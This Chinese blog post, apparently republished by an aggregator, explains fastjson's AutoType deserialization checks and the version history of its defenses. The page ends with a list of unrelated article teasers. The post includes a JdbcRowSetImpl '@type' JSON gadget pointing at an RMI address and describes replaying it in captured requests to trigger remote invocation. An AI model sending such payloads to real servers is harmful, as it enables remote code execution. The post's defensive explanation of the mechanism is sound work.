v1.2.70-FastJson的AutoType机制研究

news2024/11/19 10:24:29

v1.2.70-FastJson的AutoType机制研究

最近在对接Alexa亚马逊语音技能,Smart Home Skill Apis时,有一个配置的JSON字符串是这样的:

     { 
         "capabilityResources": {
                "friendlyNames": [
                  {
                    "@type": "asset",
                    "value": {
                      "assetId": "Alexa.Setting.Opening"
                    }
                  }
                ]
              }
     }

在开发配置,只当是一个普通的字符串;直到单测开始,在解析这行字符串成JSONObject对象的时候报错,同时也抛出了一个异常:

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. asset

fastjson版本是:

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.70</version>
        </dependency>

autoType is not support,是什么含义,为什么fastjson独对这个字符串进行了check设置了ParserConfig.checkAutoType方法?

auToType问题

首先简单的解释一下为什么序列化中需要 引入AutoType

假设存在一个类,和一个接口:

public interface Father{
    
}
public class Son implements Father{
    private Integer age;
}

构建出Son类后,json会将类型抹去,只保留顶级接口类型,使之反序列化时拿不到原先的Son类。

因此FastJson中就使用了"@type":"com.xx.xx.Son"

指定json串反序列化时的类型;这种设置在Redis中也有体现,采用的是

{
    "com.xx.xx.Son",
    "age":1
}

的形式.

那么就带来了一个严重的问题#

在FastJson反序列的过程中,会通过@type构造类,并且根据后续的key调用其setter方法。

那么有经验的人可能有解除过,JAVA中存在着大量的风险类:

  1. com.sun.rowset.JdbcRowSetImpl:这个类在被实例化时会自动连接数据库,存在潜在的安全风险。
  2. java.lang.Runtimejava.lang.Runtime类在被实例化时会自动获取运行时对象,可以用于执行系统命令。
  3. java.lang.ProcessBuilderjava.lang.ProcessBuilder类在被实例化时会自动启动一个进程,可能导致系统被恶意利用。
  4. javax.script.ScriptEngineManager:这个类在被实例化时会加载脚本引擎,存在潜在的安全风险。
  5. java.util.logging.FileHandlerjava.util.logging.FileHandler类在被实例化时会自动创建日志文件,可能导致文件系统被攻击。

拿例子最多,也是早年攻击最频繁的JdbcRowSetImpl一说:

将 JSON字符串

{
	"@type": "com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName": "rmi://127.0.0.1:8888/Error",
	"autoCommit": true
}

通过抓目标服务器JAVA,WEB应用的请求包,重新reSend一次;

然后jdk会在解析过程中构建 JdbcRowSetImpl 类,实现rmi远程调用的攻击;

不止如此,由于@type指定类的多样性,在获取到对方源码之后。

还可以通过此解析构造的模式直接从项目内部做出高危风险的操作。

因此FastJson在1.2.25版本后,推出完整的AutoType机制,开始了与黑客的 checkAutotype 博弈

CheckAutoType源码问题定位

因为每个版本的FastJson对checkAutoType都有大大小小的优化,贴图的代码版本是1.2.7

第一次过滤

1/

首先在1.2.68 版本中,引入的safeMode,为JSONObject对象初始化的时候会根据是否配置 fastjson.parser.safeMode 值进行开启安全模式,默认为false;在safeMode模式下,无论白名单和黑名单,都不支持autoType,这样可以杜绝反序列化Gadgets类变种攻击,需要通过ParserConfig.getGlobalInstance().setSafeMode(true); 开启

安全模式:取消 @type 指定类解析的机制

2/

下面的类型名>=192,小于<3,意义不明;

不过,围绕名字有一个有趣的地方;

因为事关类解析,所以fastjson没有对 @type:“xxxx”,xxxx为整形时的内容做任何限制;

所以

{
    "@type":"123"
}

是可以正常解析的

取消指定于3,则是???,意义不明

第二次过滤:

3/

这里为符号过滤,取第一个符号以及最后一个符号进行描述符检查,过滤字符串为 [L

这两个字符的含义是:

  • [ 字符:这个字符在 Java 中通常用于表示数组类型,恶意攻击者可能利用这个字符来构造恶意的数组类型,从而绕过安全检查,执行恶意代码。
  • L 字符:这个字符在 Java 中通常用于表示类的全限定名,恶意攻击者可能利用这个字符来构造恶意的类名,从而触发恶意行为。

1.2.43中进行的修复。

第三次过滤

4/

上一段为最暴力的黑名单过滤;

与黑客斗智斗勇中进化,从过去的类名名单判断,到现在使用hashCode散列存储的方式;

一是掩盖了当前黑名单的类,二是代码性能极大提高;

5/

下面一段先是使用通过typeNameINTERNAL_WHITELIST_HASHCODES 的计算寻址得到的boolean类型判断是否进入黑白名单的判断。

内部代码为,如果在白名单内则直接加载类,结束本次 checkAutoType

否则直接抛出异常

第四次过滤

6/

从deserializers、typeMapping、白名单中获得class;

判断其是否为解析目标时,指定类型的子类;

如果为否,则直接抛出异常;

AutoType关闭时过滤:

直接针对FastJson现有的黑名单以及白名单进行判断

最后一次过滤

针对类型的判断,高危接口:DataSource、RowSet、ClassLoader;

即使黑客前面绕的再好,也不会放开这三个涉及项目加载器,数据库DB的顶级接口;

最后也是判断一个构建出来的类是否已经存在了已经构建完成的构造器,如果存在,则一定是黑客为了绕开检车伪装的类。

因此重复构造直接抛出错误

总结

FastJson的漏洞与更新几乎都是围绕着checkAutoType进行,因为一款JSON化的工具,再本身性能难以再度突破的前提下,保证使用者的安全体验是衡量各个工具之间的重中之重。

但由由于FastJson在国内广泛的使用,而不管目前如何去更新,总有漏洞会为版本买单。

所以很多人也在Git上发起issues抗议这些问题:

讨论度也非常高,也有人不懂@type的存在意义。了解的人能知道,这也是无奈之举,像jackson中也引入了类型的@Class 关键字

大伙也需要给开源者,开源项目更多耐心;

在使用上,可以和开源这个项目的公司[阿里巴巴]一致,默认没有autoType或者直接开启安全模式一刀切

版权声明:本站原创文章,于2024-02-23,乐云一发表
转载请注明:https://leyunone.com/normal-notes/fastJson-warn.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1791843.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智慧农业灌溉系统的主要工作原理

一、概述   智慧农业灌溉系统是一种基于传感器技术和智能控制技术的灌溉系统。它能够根据土壤湿度、气象条件、作物需水量等多种因素&#xff0c;自动控制灌溉水量和灌溉时间&#xff0c;实现精准灌溉。相比传统的手动灌溉和定时灌溉&#xff0c;智慧农业灌溉系统更加高效、准…

【Kubernetes】9-Pod控制器

一、什么是 pod 的控制器 Pod控制器&#xff0c;又称之为工作负载&#xff08;workload&#xff09;&#xff0c;是用于实现管理pod的中间层 确保pod资源符合预期状态&#xff1b;pod的资源故障时会进行重启&#xff1b; 当重启策略无效时&#xff0c;则会重新新建pod的资源 二…

通过ssr-echarts,服务端生成echarts图

ssr-echarts &#xff1a;一个开源项目&#xff0c;它能够服务端渲染 ECharts 图表&#xff0c;并直接生成 PNG 图片返回。该项目提供了多种主题&#xff0c;并且支持 GET 和 POST 请求。如果参数较多&#xff0c;建议使用 POST 方法。用户可以自己部署这个服务。 1. 服务端安装…

uniapp打包网页版配置页面窗口标题

问题描述&#xff1a; 项目场景&#xff1a;在uniapp打包网页的时候会出现项目标题为&#xff1a;uni-app 原因分析&#xff1a; 当时是直接在这里面修改的&#xff0c;但是打包之后发现标题还是没有改过来 解决方案&#xff1a; 后来才发现这里修改是没有用的&#xff0…

最新OpenAI免费API-openai api key获取方式

最近又开始准备LLM 应用开发&#xff0c;要用到api key&#xff0c;才发现过我之前免费发放的额度没了&#xff01;我都没咋用过&#xff0c;痛心&#x1f62d;&#x1f62d;&#x1f62d;&#xff01; 现在 OpenAI 有要求必须充值 5 刀才能使用&#xff0c;问就是没钱&#x…

人工智能芯片封装技术及应用趋势分析

简介人工智能&#xff08;AI&#xff09;、物联网&#xff08;IoT&#xff09;和大数据的融合正在开创全新的智能时代&#xff0c;以智能解决方案改变各行各业。人工智能芯片在支持人工智能学习和推理计算方面发挥着非常重要的作用&#xff0c;可实现各行各业的多样化应用。 本…

Arduino网页服务器:如何将Arduino开发板用作Web服务器

大家好&#xff0c;我是咕噜铁蛋&#xff01;今天&#xff0c;我将和大家分享一个有趣且实用的项目——如何使用Arduino开发板搭建一个简易的网页服务器。通过这个项目&#xff0c;你可以将Arduino连接到互联网&#xff0c;并通过网页控制或查询Arduino的状态。 一、项目背景与…

C#——随机类Random类

Random类 C#的Random类是用于生成随机数的类&#xff0c;属于System命名空间&#xff0c;可以生成各种类型的随机数&#xff0c;例如整型、双精度浮点型、布尔型等。 使用方法&#xff1a; 使用random数据类型关键字 声明一个random的变量 值使用new random 来实例化这个变量…

基于STM32开发的智能农业灌溉控制系统

目录 引言环境准备智能农业灌溉控制系统基础代码实现&#xff1a;实现智能农业灌溉控制系统 4.1 土壤湿度传感器数据读取4.2 水泵控制4.3 环境监测与数据记录4.4 用户界面与多功能显示应用场景&#xff1a;农业灌溉与环境监测问题解决方案与优化收尾与总结 1. 引言 随着农业…

大模型+编程,未来程序员躺平还是失业?

前言 随着科技的飞速发展&#xff0c;大模型与编程技术的结合正在逐步改变着我们的世界。**在这样的背景下&#xff0c;很多程序员开始担忧&#xff1a;未来的我们&#xff0c;是会“躺平”享受技术的红利&#xff0c;还是会因为技术变革而面临失业的风险&#xff1f;**今天&a…

Linuxftp服务001匿名登入

在Linux系统中搭建FTP&#xff08;File Transfer Protocol&#xff09;服务&#xff0c;可以让用户通过网络在服务器与其他客户端之间传输文件。它有几种登入模式&#xff0c;今天我们讲一下匿名登入。 操作系统 CentOS Stream9 操作步骤 首先我们先下载ftp [rootlocalhost…

使用Matlab软件绘制函数图像

【实验目的】 1.利用Matlab实现平面上曲线和三维空间中曲线绘制&#xff0c;重点掌握隐函数、极坐标图像绘制的相关命令。 2.利用Matlab实现三维曲面绘制&#xff0c;加深对高等数学课程所学内容的理解 【实验内容与实现】 1、用两种方法绘制下面的曲线图 &#xff08;1&am…

区块链游戏(链游)安全防御:抵御攻击的策略与实践

一、引言 区块链游戏&#xff0c;或称为链游&#xff0c;近年来随着区块链技术的普及而迅速崛起。然而&#xff0c;如同其他任何在线平台一样&#xff0c;链游也面临着各种安全威胁。本文将探讨链游可能遭遇的攻击类型以及如何通过有效的策略和技术手段进行防御。 二、链游可…

3072. 将元素分配到两个数组中 II Rust 线段树 + 离散化

题目 给你一个下标从 1 开始、长度为 n 的整数数组 nums 。 现定义函数 greaterCount &#xff0c;使得 greaterCount(arr, val) 返回数组 arr 中 严格大于 val 的元素数量。 你需要使用 n 次操作&#xff0c;将 nums 的所有元素分配到两个数组 arr1 和 arr2 中。在第一次操…

完美解决 mysql 报错ERROR 1524 (HY000): Plugin ‘mysql_native_password‘ is not loaded

文章目录 错误描述错误原因解决步骤 跟着我下面的步骤走&#xff0c;解决你的问题&#xff0c;如果解决不了 私信我来给你解决 错误描述 执行ALTER USER root% IDENTIFIED WITH mysql_native_password BY 123456;报错ERROR 1524 (HY000): Plugin mysql_native_password is not …

PPT的文件怎么做二维码?适合多种文件使用的二维码制作技巧

现在很多人会将ppt文件转换成二维码之后&#xff0c;分享给其他人查看&#xff0c;比如常见的有学习资料、作品展示、个人简历、方案计划等内容都可以通过生成二维码的方式来提供展示。通过手机扫码就能够快速预览文件内容&#xff0c;与使用邮箱或网盘传输相比&#xff0c;更加…

SpaceX 首席火箭着陆工程师 MIT论文详解:非凸软着陆最优控制问题的控制边界和指向约束的无损凸化

上一篇blog翻译了 Lars Blackmore(Lars Blackmore is principal rocket landing engineer at SpaceX)的文章&#xff0c;SpaceX 使用 CVXGEN 生成定制飞行代码,实现超高速机载凸优化。利用地形相对导航实现了数十米量级的导航精度,着陆器在着陆过程中成像行星表面并将特征与机载…

Python考试复习--day7

1.IP地址转换I ipinput() if len(ip)32 and set(ip)<{0,1}:print(..join([ str(int(ip[8*i:8*(i1)],2)) for i in range(4)])) else:print(data error!) 2.找数字&#xff0c;做加法 ainput() binput() d1 d2 for i in a:if i.isnumeric():d1i for i in b:if i.isnumeric(…

RabbitMQ支持的消息模型

RabbitMQ基础RabbitMQ支持的消息模型 一、第一种模型(直连) 我们将用Java编写两个程序&#xff0c;发送单个消息的生成者和接收消息并打印出来的消费者。 在下图&#xff0c;“P”是生成者&#xff0c;“C”消费者。中间框是一个队列RabbitMQ保留的消息缓冲区 。 首先构建一个…

十一、完善增删改查操作

分为两部分&#xff1a; 第一部分在解析xml的时候&#xff0c;要解析select、insert、update、delete的语句&#xff0c;封装成mapperStatement放到configuration中 第二部分在执行的时候&#xff0c;执行到代理类的invoke方法&#xff0c;然后在MapperMethod判断执行增删改查…